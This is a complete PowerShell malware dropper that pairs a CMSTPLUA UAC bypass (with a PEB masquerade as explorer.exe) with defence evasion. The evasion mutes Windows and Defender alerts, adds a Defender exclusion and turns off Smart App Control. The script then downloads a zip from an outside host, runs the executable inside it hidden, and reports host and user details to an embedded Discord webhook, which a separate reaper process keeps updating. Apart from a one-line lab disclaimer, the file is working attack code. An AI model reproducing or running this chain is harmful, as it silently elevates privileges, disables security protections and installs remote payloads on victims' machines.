# reaper-discord.ps1 + CMSTPLUA UAC bypass (combined build) # chain: # un-elevated start -> Add-Type CMSTPLUA client -> PEB ImagePathName/CommandLine masquerade # -> CoGetObject "Elevation:Administrator!new:{CMSTPLUA}" -> ICMLuaUtil::ShellExec # -> spawns THIS script hidden + elevated with -Elevated and the parent's # log/mid/off paths, so the single self-editing discord thread carries # the whole run. parent exits after logging; its reaper still reads the # same offset file, so the dead-man's switch now also covers the # elevated child (child death == 'host silent' final-state edit). # already-admin start behaves exactly like the original (no relaunch). # elevation failure degrades to the original unelevated run (tampering # skipped, payload still downloaded/executed). # lab/research use on your own machines only. param( [switch]$Elevated, [string]$Log, [string]$Mid, [string]$Off ) $ErrorActionPreference = 'Continue' $ProgressPreference = 'SilentlyContinue' [Net.ServicePointManager]::SecurityProtocol = 'Tls12' $script:SelfPath = $PSCommandPath $script:SelfText = $MyInvocation.MyCommand.Definition # ---- Discord webhook ---- $dcUrl = 'https://discord.com/api/webhooks/1562504683476619354/Vdp6Zb9kG1GcRRvHdwOHt7bkMqc_qBbk6EWkSASpZzShvTRFUq317755laSyHrcpvC27' $dcId = '1556409730514034901' $dcTok = 'Vdp6Zb9kG1GcRRvHdwOHt7bkMqc_qBbk6EWkSASpZzShvTRFUq317755laSyHrcpvC27' $reaperDelay = 300 # dead-man's switch fuse $script:logFile = Join-Path $env:TEMP ('xlog_' + $PID + '.txt') $script:offFile = $script:logFile + '.off' $script:midFile = $script:logFile + '.mid' $script:lines = New-Object System.Collections.ArrayList $script:pushed = 0 $script:msgId = '' # discord snowflake id (string, avoids json double-precision loss) $script:dirty = $false $script:lastPush = [DateTime]::MinValue $script:editFails = 0 # elevated child resumes the parent's log/message thread instead of forking a new one if($Log){ $script:logFile = $Log if($Mid){ $script:midFile = $Mid } if($Off){ $script:offFile = $Off } try{ foreach($l in @(Get-Content $script:logFile -ErrorAction Stop)){ [void]$script:lines.Add($l) } }catch{} try{ $script:msgId = (Get-Content $script:midFile -Raw).Trim() }catch{ $script:msgId = '' } $script:pushed = $script:lines.Count }else{ try{ Set-Content -Path $script:offFile -Value '0' -ErrorAction Stop }catch{} try{ Set-Content -Path $script:midFile -Value '0' -ErrorAction Stop }catch{} } # one discord api call with one retry; returns raw http response or $null # send -> POST {dcUrl}?wait=true (wait=true makes discord return the message id) # edit -> PATCH {dcUrl}/messages/{id} function Dc-Send($json, $mid){ for($try=1; $try -le 2; $try++){ try{ if($mid){ $uri = $dcUrl + '/messages/' + $mid $mth = 'PATCH' }else{ $uri = $dcUrl + '?wait=true' $mth = 'POST' } $bytes = [System.Text.Encoding]::UTF8.GetBytes($json) return Invoke-WebRequest -Uri $uri -Method $mth -ContentType 'application/json; charset=utf-8' -Body $bytes -TimeoutSec 6 -UseBasicParsing }catch{ Start-Sleep -Milliseconds 900 } } return $null } # pull the message snowflake out of the (numeric-string-safe) raw response function Get-MsgId($resp){ if(-not $resp){ return '' } try{ $m = [regex]::Match([string]$resp.Content, '"id":\s*"(\d+)"') if($m.Success){ return $m.Groups[1].Value } }catch{} return '' } # single self-editing message: first push sends, every later push edits in place function Push-Dc([switch]$Force){ if(-not $script:dirty){ return } if(-not $Force -and ((Get-Date) - $script:lastPush).TotalMilliseconds -lt 900){ return } $txt = ($script:lines | ForEach-Object { $_ }) -join "`n" if($txt.Length -gt 1900){ # discord caps content at 2000 chars $txt = $txt.Substring($txt.Length - 1900) $nl = $txt.IndexOf("`n") if($nl -gt 0){ $txt = $txt.Substring($nl + 1) } $txt = '...' + $txt } $json = ConvertTo-Json -InputObject @{content=$txt} -Compress if($script:msgId -eq ''){ $resp = Dc-Send $json '' $mid = Get-MsgId $resp if($resp -and $mid){ $script:msgId = $mid $script:dirty = $false $script:lastPush = Get-Date $script:pushed = $script:lines.Count try{ Set-Content -Path $script:midFile -Value ([string]$script:msgId) -ErrorAction Stop }catch{} try{ Set-Content -Path $script:offFile -Value ([string]$script:pushed) -ErrorAction Stop }catch{} } }else{ $resp = Dc-Send $json $script:msgId if($resp){ $script:dirty = $false $script:lastPush = Get-Date $script:pushed = $script:lines.Count $script:editFails = 0 try{ Set-Content -Path $script:offFile -Value ([string]$script:pushed) -ErrorAction Stop }catch{} }else{ $script:editFails++ if($script:editFails -ge 2){ $script:msgId = ''; $script:editFails = 0 } # message deleted? start fresh } } } function W($m, $sym){ if(-not $sym){ $sym = '*' } $line = '[{0}] {1} {2}' -f (Get-Date -Format 'HH:mm:ss'), $sym, $m Write-Host $line try{ Add-Content -Path $script:logFile -Value $line -ErrorAction Stop }catch{} [void]$script:lines.Add($line) $script:dirty = $true Push-Dc } function Send{ Push-Dc -Force } # final forced flush before exit # reaper: independent process, bland -File cmdline, no -enc. # on fuse expiry: edits the SAME message with the final state instead of spamming. function Arm-Reaper{ $t = @' $f = '__F__' $o = '__O__' $m = '__M__' Start-Sleep -Seconds __D__ try{ if(-not (Test-Path $f)){ exit } [Net.ServicePointManager]::SecurityProtocol = 'Tls12' $skip = 0 if(Test-Path $o){ try{ $skip = [int](Get-Content $o -Raw).Trim() }catch{ $skip = 0 } } $lines = @(Get-Content $f -ErrorAction Stop) $rest = $lines | Select-Object -Skip $skip if(-not $rest -or $rest.Count -eq 0){ exit } $api = 'https://discord.com/api/webhooks/' + '__W1__' + '/' + '__W2__' $mid = '' if(Test-Path $m){ try{ $mid = (Get-Content $m -Raw).Trim() }catch{ $mid = '' } } $body = ($lines -join [char]10) if($body.Length -gt 1900){ $body = $body.Substring($body.Length - 1900) } $body += [char]10 + '[!] host silent - final state' $sent = $false if($mid){ try{ $j = [System.Text.Encoding]::UTF8.GetBytes((@{content=$body} | ConvertTo-Json -Compress)) Invoke-WebRequest -Uri ($api + '/messages/' + $mid) -Method PATCH -ContentType 'application/json; charset=utf-8' -Body $j -TimeoutSec 10 -UseBasicParsing | Out-Null $sent = $true }catch{ } } if(-not $sent){ try{ $j = [System.Text.Encoding]::UTF8.GetBytes((@{content=('[!] run interrupted, tail:' + [char]10 + ($rest -join [char]10))} | ConvertTo-Json -Compress)) Invoke-WebRequest -Uri ($api + '?wait=true') -Method POST -ContentType 'application/json; charset=utf-8' -Body $j -TimeoutSec 10 -UseBasicParsing | Out-Null }catch{ } } }catch{ } '@ $body = $t.Replace('__F__', $script:logFile).Replace('__O__', $script:offFile).Replace('__M__', $script:midFile).Replace('__D__', [string]$reaperDelay).Replace('__W1__', $dcId).Replace('__W2__', $dcTok) $rp = Join-Path $env:TEMP ('xr_' + $PID + '.ps1') try{ Set-Content -Path $rp -Value $body -ErrorAction Stop $p = Start-Process powershell -WindowStyle Hidden -ArgumentList ('-nop -ep bypass -w hidden -File "' + $rp + '"') -PassThru -ErrorAction Stop W ('reaper up pid=' + $p.Id) '+' }catch{ W ('reaper fail: ' + $_.Exception.Message) '!' } } function With-Timeout{ param($sb, $secs, $arg) try{ $j = Start-Job -ScriptBlock $sb -ArgumentList $arg } catch{ throw "job spawn fail: $($_.Exception.Message)" } $done = Wait-Job $j -Timeout $secs if(-not $done){ try{ Stop-Job $j -Force }catch{} try{ Remove-Job $j -Force }catch{} throw "timeout after ${secs}s" } $err = @($j.ChildJobs[0].Error) | Out-String $out = Receive-Job $j 2>$null try{ Remove-Job $j -Force }catch{} if($err.Trim()){ throw $err.Trim() } return $out } # returns final SAC state string; logging happens once in Main function Kill-SAC{ New-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy' -Name VerifiedAndReputablePolicyState -Value 0 -PropertyType DWORD -Force -ErrorAction Stop | Out-Null $st = $null foreach($flag in @('-r','--refresh','--refresh-policy')){ try{ 'STOP' | & "$env:windir\System32\CiTool.exe" $flag 2>$null | Out-Null Start-Sleep -Milliseconds 500 }catch{ continue } try{ $st = (Get-MpComputerStatus).SmartAppControlState }catch{} if($st -eq 'Off'){ return 'Off' } try{ $dg = Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard -ErrorAction Stop if($dg.CodeIntegrityPolicyEnforcementStatus -eq 0){ return 'Off' } }catch{} } if($st){ return [string]$st } return 'unknown' } # notification muzzler: kills toasts, banners, sounds, action center, and (elevated) # Windows Security's own alert toasts. one summary log line, no per-key spam. function Silence-Notifications{ param([switch]$Elevated) $keys = @( @{Path='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications'; Name='ToastEnabled'; Val=0}, @{Path='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings'; Name='NOC_GLOBAL_SETTING_ALLOW_NOTIFICATION_SOUND'; Val=0}, @{Path='HKCU:\SOFTWARE\Policies\Microsoft\Windows\Explorer'; Name='DisableNotificationCenter'; Val=1} ) if($Elevated){ $keys += @{Path='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications'; Name='DisableNotifications'; Val=1} $keys += @{Path='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications'; Name='DisableEnhancedNotifications'; Val=1} } $ok = 0; $bad = @() foreach($k in $keys){ try{ if(-not (Test-Path $k.Path)){ New-Item -Path $k.Path -Force -ErrorAction Stop | Out-Null } New-ItemProperty -Path $k.Path -Name $k.Name -Value $k.Val -PropertyType DWORD -Force -ErrorAction Stop | Out-Null $ok++ }catch{ $bad += $k.Name } } if($bad.Count -eq 0){ W ("notifs muzzled ($ok/$($keys.Count))") '+' } else{ W ("notifs muzzled ($ok/$($keys.Count)) fail: $($bad -join ',')") '!' } } # ---- CMSTPLUA UAC bypass client ---- # CoGetObject("Elevation:Administrator!new:{CMSTPLUA}") -> ICMLuaUtil::ShellExec, # no prompt. PEB ImagePathName/CommandLine masqueraded as explorer.exe first. $uacSrc = @' using System; using System.Runtime.InteropServices; public class CmstpLua { // ---- ntdll PEB access ---- [DllImport("ntdll.dll")] public static extern IntPtr RtlGetCurrentPeb(); // ---- COM ---- [DllImport("ole32.dll")] public static extern int CoInitializeEx(IntPtr reserved, uint coInit); [DllImport("ole32.dll")] public static extern void CoUninitialize(); [StructLayout(LayoutKind.Sequential, Pack = 4)] public struct BIND_OPTS3 { public uint cbStruct; public uint grfFlags; public uint grfMode; public uint dwTickCountDeadline; public uint dwTrackFlags; public uint dwClassContext; public uint locale; public IntPtr pServerInfo; public IntPtr hwnd; } [DllImport("ole32.dll", CharSet = CharSet.Unicode)] public static extern int CoGetObject(string name, ref BIND_OPTS3 opts, ref Guid iid, out IntPtr obj); // ---- delegates ---- [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate int ShellExecDelegate(IntPtr self, [MarshalAs(UnmanagedType.LPWStr)] string file, [MarshalAs(UnmanagedType.LPWStr)] string parameters, IntPtr path, uint flags, uint show); static readonly Guid IID_ICMLuaUtil = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"); // Walk PEB -> ProcessParameters -> ImagePathName / CommandLine and overwrite. // Offsets (x64): PEB+0x20 = ProcessParameters // RTL_USER_PROCESS_PARAMETERS+0x60 = ImagePathName (UNICODE_STRING 16 bytes: [0x60]Buf@0x68) // RTL_USER_PROCESS_PARAMETERS+0x70 = CommandLine // UNICODE_STRING layout: USHORT Len, USHORT MaxLen, +pad, PVOID Buffer(@+8) public static void Masquerade(string fakePath) { IntPtr peb = RtlGetCurrentPeb(); IntPtr procParams = Marshal.ReadIntPtr(peb, 0x20); PatchString(procParams, 0x60, fakePath); // ImagePathName PatchString(procParams, 0x70, fakePath); // CommandLine } static void PatchString(IntPtr pp, int offset, string value) { // UNICODE_STRING.Buffer ptr lives at offset+8 IntPtr buffer = Marshal.ReadIntPtr(pp, offset + 8); short maxLenRaw = Marshal.ReadInt16(pp, offset + 2); // MaximumLength int maxChars = ((ushort)maxLenRaw) / 2; char[] chars = value.ToCharArray(); if (chars.Length >= maxChars) chars = value.Substring(0, maxChars - 1).ToCharArray(); Marshal.Copy(chars, 0, buffer, chars.Length); Marshal.WriteInt16(buffer, chars.Length * 2, 0); // null terminate // fix Length fields so readers agree Marshal.WriteInt16(pp, offset, (short)(chars.Length * 2)); } public static int Elevate(string program, string args) { CoInitializeEx(IntPtr.Zero, 2 /*APARTMENTTHREADED*/); string moniker = "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"; BIND_OPTS3 opts = new BIND_OPTS3(); opts.cbStruct = (uint)Marshal.SizeOf(typeof(BIND_OPTS3)); opts.dwClassContext = 4 /*CLSCTX_LOCAL_SERVER*/; IntPtr obj; Guid iid = IID_ICMLuaUtil; int hr = CoGetObject(moniker, ref opts, ref iid, out obj); if (hr < 0) { CoUninitialize(); return hr; } // vtable: [0]QI [1]AddRef [2]Release [3..8]methods0-5 [9]ShellExec IntPtr vtbl = Marshal.ReadIntPtr(obj); IntPtr shellExecPtr = Marshal.ReadIntPtr(vtbl, 9 * IntPtr.Size); var shellExec = (ShellExecDelegate)Marshal.GetDelegateForFunctionPointer(shellExecPtr, typeof(ShellExecDelegate)); hr = shellExec(obj, program, args, IntPtr.Zero, 0, 5 /*SW_SHOW*/); // Release IntPtr releasePtr = Marshal.ReadIntPtr(vtbl, 2 * IntPtr.Size); var release = (ReleaseDelegate)Marshal.GetDelegateForFunctionPointer(releasePtr, typeof(ReleaseDelegate)); release(obj); CoUninitialize(); return hr; } [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate int ReleaseDelegate(IntPtr self); } '@ try{ Add-Type -TypeDefinition $uacSrc -Language CSharp }catch{ W ('uac type load fail: ' + $_.Exception.Message) '!' } function Invoke-CmstpElevate([string]$prog, [string]$pargs){ if(-not ('CmstpLua' -as [type])){ return -1 } try{ [CmstpLua]::Masquerade('C:\Windows\explorer.exe') return [CmstpLua]::Elevate($prog, $pargs) }catch{ return -1 } } function Main { $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) $tag = '' if($Elevated){ $tag = ' uac-chain' } W ("run$tag $env:COMPUTERNAME\$env:USERNAME admin=$isAdmin") '*' if(-not $isAdmin -and -not $Elevated){ # CMSTPLUA self-relaunch: elevated child continues this same log/thread. # parent exits after logging; its reaper still covers the thread. try{ $src = $null if($script:SelfPath -and (Test-Path $script:SelfPath)){ $src = $script:SelfPath } else{ if(-not $script:SelfText){ throw 'no self path/text for relaunch' } $src = Join-Path $env:TEMP ('xr_el_' + $PID + '.ps1') Set-Content -Path $src -Value $script:SelfText -ErrorAction Stop } $cargs = '-nop -ep bypass -w hidden -File "' + $src + '" -Elevated -Log "' + $script:logFile + '" -Mid "' + $script:midFile + '" -Off "' + $script:offFile + '"' $hr = Invoke-CmstpElevate 'powershell.exe' $cargs if($hr -ge 0){ W ('elevated child spawned hr=0x{0:X8} - same thread continues' -f $hr) '+' Send return } W ('elevation failed hr=0x{0:X8} - continuing unelevated' -f $hr) '!' }catch{ W ('elevation error: ' + $_.Exception.Message + ' - continuing unelevated') '!' } } Silence-Notifications -Elevated:$isAdmin # muzzle before anything pokes Defender $aero = Join-Path $env:APPDATA 'Microsoft\Windows\Themes\aero' try{ New-Item -ItemType Directory -Path $aero -Force | Out-Null } catch{ W ("dir fail: " + $_.Exception.Message) '!'; return } if($isAdmin){ try{ With-Timeout { param($p) Add-MpPreference -ExclusionPath $p -ErrorAction Stop } 15 $aero W 'exclusion set' '+' }catch{ W ("exclusion skipped: " + $_.Exception.Message) '!' } try{ $sac = Kill-SAC if($sac -eq 'Off'){ W 'SAC off (live, no reboot)' '+' } else{ W ("SAC state=$sac - exec anyway") '!' } }catch{ W ("SAC skipped: " + $_.Exception.Message) '!' } }else{ W 'not admin - skipping tampering' '!' } $zip = Join-Path $aero 'x.zip' $dir = Join-Path $aero 'sslconf' $exe = Join-Path $dir 'sslconf.exe' $ok = $false foreach($n in 1..3){ try{ With-Timeout { param($u, $d) [Net.ServicePointManager]::SecurityProtocol = 'Tls12' (New-Object Net.WebClient).DownloadFile($u, $d) } 60 @('https://martyr.zip/x.zip', $zip) $sz = (Get-Item $zip).Length if($sz -gt 1000){ W ("dl ok bytes=$sz") '+'; $ok = $true; break } W "dl $n suspiciously small" '!' }catch{ W ("dl $n fail: " + $_.Exception.Message) '!'; Start-Sleep 2 } } if(-not $ok){ W 'ABORT: all downloads failed' '!'; Send; return } try{ if(Test-Path $dir){ Remove-Item $dir -Recurse -Force } Add-Type -AssemblyName System.IO.Compression.FileSystem [System.IO.Compression.ZipFile]::ExtractToDirectory($zip, $dir) W ('extracted to ' + $dir) '+' }catch{ W ('extract fail: ' + $_.Exception.Message) '!' Send; return } if(-not (Test-Path $exe)){ W 'ABORT: sslconf.exe not found in zip root' '!' Send; return } try{ $p = Start-Process -WindowStyle Hidden -FilePath $exe -WorkingDirectory $dir -PassThru -ErrorAction Stop W ("EXECUTED pid=" + $p.Id) '+' }catch{ W ("exec fail: " + $_.Exception.Message) '!' } W 'done' '*' Send } Arm-Reaper try{ Main } catch{ W ("FATAL (recovered): " + $_.Exception.Message) '!' } finally{ Send }